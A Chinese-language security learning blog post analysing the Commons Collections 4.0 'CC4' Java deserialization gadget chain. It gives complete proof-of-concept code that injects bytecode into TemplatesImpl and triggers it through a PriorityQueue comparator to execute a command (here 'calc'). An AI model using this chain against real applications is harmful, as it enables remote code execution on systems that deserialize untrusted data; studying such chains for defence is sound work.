java安全-CC4链学习与分析
2022-12-07 12:21:59

0x00、前言

CC1、2、3过完,4也是变种,还是单独列出来方便整理吧,写一起太乱了。

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(版本无限制)
Commons Collections:4.0(漏洞版本在4.0)
maven项目pom.xml文件中添加依赖

<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、分析

回顾

在学cc2的时候,使用到了两条链:

  • ChainedTransformer(Runtime)+PriorityQueue:通过ChainedTransformer串联Runtime恶意方法,添加到PriorityQueue队列比较器中,在添加元素时触发利用。
  • 字节码+PriorityQueue:通过invokerTransformer调用templates.newTransformer()方法,并作为比较器添加到PriorityQueue队列中,添加templates对象作为元素时,比较时调用templates.newTransformer()方法触发利用。

在cc3链中学习时,使用的两个链:

  • 通过字节码+(TrAXFilter+InstantiateTransformer)+LazyMap:通过LazyMap调用invoke方法执行到ChainedTransformer中的(TrAXFilter+InstantiateTransformer),实例化TrAXFilter对象,并执行templates.newTransformer()方法触发利用。
  • 通过字节码+(TrAXFilter+InstantiateTransformer)+TransformedMap:通过TransformedMap重写的反序列化调用ChainedTransformer中的(TrAXFilter+InstantiateTransformer),实例化TrAXFilter对象,并执行templates.newTransformer()方法触发利用。

分析

序列化利用链触发方法简单形容就是:恶意代码构造+触发点+序列化入口

而cc4中把cc2、cc3中可组合利用的部分链进行了组合。

cc4中利用版本为Commons Collections4,意味着cc2中的PriorityQueue队列仍然可以作为序列化入口(Commons Collections3中TransformingComparator未实现序列化)。

PriorityQueue队列序列化入口有了,接下来就是触发点和恶意代码构造。

触发点就为cc3中的(TrAXFilter+InstantiateTransformer),恶意代码构造为字节码。

cc4的利用链思路就出来了,很简单,简述就是把cc3中的(TrAXFilter+InstantiateTransformer)触发方式跟cc2的第二条链的触发方式替换了一下。

由于触发点的更换,因此在PriorityQueue队列中无需添加templates对象元素。

因为在CC3中触发点为invokerTransformer("newTransformer")

//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons=Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer=(InvokerTransformer) cons.newInstance("newTransformer");

想要调用该触发点,必须在队列首位添加templates对象的元素,才能调用InvokerTransformer.transform(TemplatesImpl)


而在cc4中,触发点变成了(TrAXFilter+InstantiateTransformer)作为比较器,目的只需要调用到该比较器即可触发利用,因此无需向队列添加元素,Transformer[]首位为ConstantTransformer对象,传入的任何obj对象都会返回TrAXFilter.class,因此对Obj传入参数并不影响。

构造POC

可以继续按照 恶意代码构造+触发点+序列化入口
恶意代码构造依旧把cc2主体代码(字节码)搬过来

//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

接着触发点,使用cc3中的触发点

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

最后添加PriorityQueue序列化入口,并通过反射设置满足条件,再根据上述分析,去掉添加元素的步骤

//设置比较器,目的调用compare方法去执行invokerTransformer.transform(),执行getOutputProperties方法
TransformingComparator comparator=new TransformingComparator(transformerChain);
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",comparator);

最后反序列化

得到最后代码poc:

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

//设置比较器,目的调用compare方法去执行invokerTransformer.transform(),执行getOutputProperties方法
TransformingComparator comparator=new TransformingComparator(transformerChain);
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",comparator);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc4payload.ser"));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc4payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

0x04、总结

cc4简述就是cc3中触发代码替换cc2中的触发代码,由于触发代码的改变,无需向队列添加元素,使用比较器时自动触发,比较好理解。

0x05、参考链接

java漫谈